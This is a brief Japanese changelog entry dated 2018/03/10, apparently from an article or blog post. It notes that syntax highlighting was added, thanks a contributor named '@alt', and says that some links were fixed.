# 更新履歴
- 2018/03/10
    - シンタックスハイライト（@alt さん、ありがとうございます！）とリンクの修正をしました。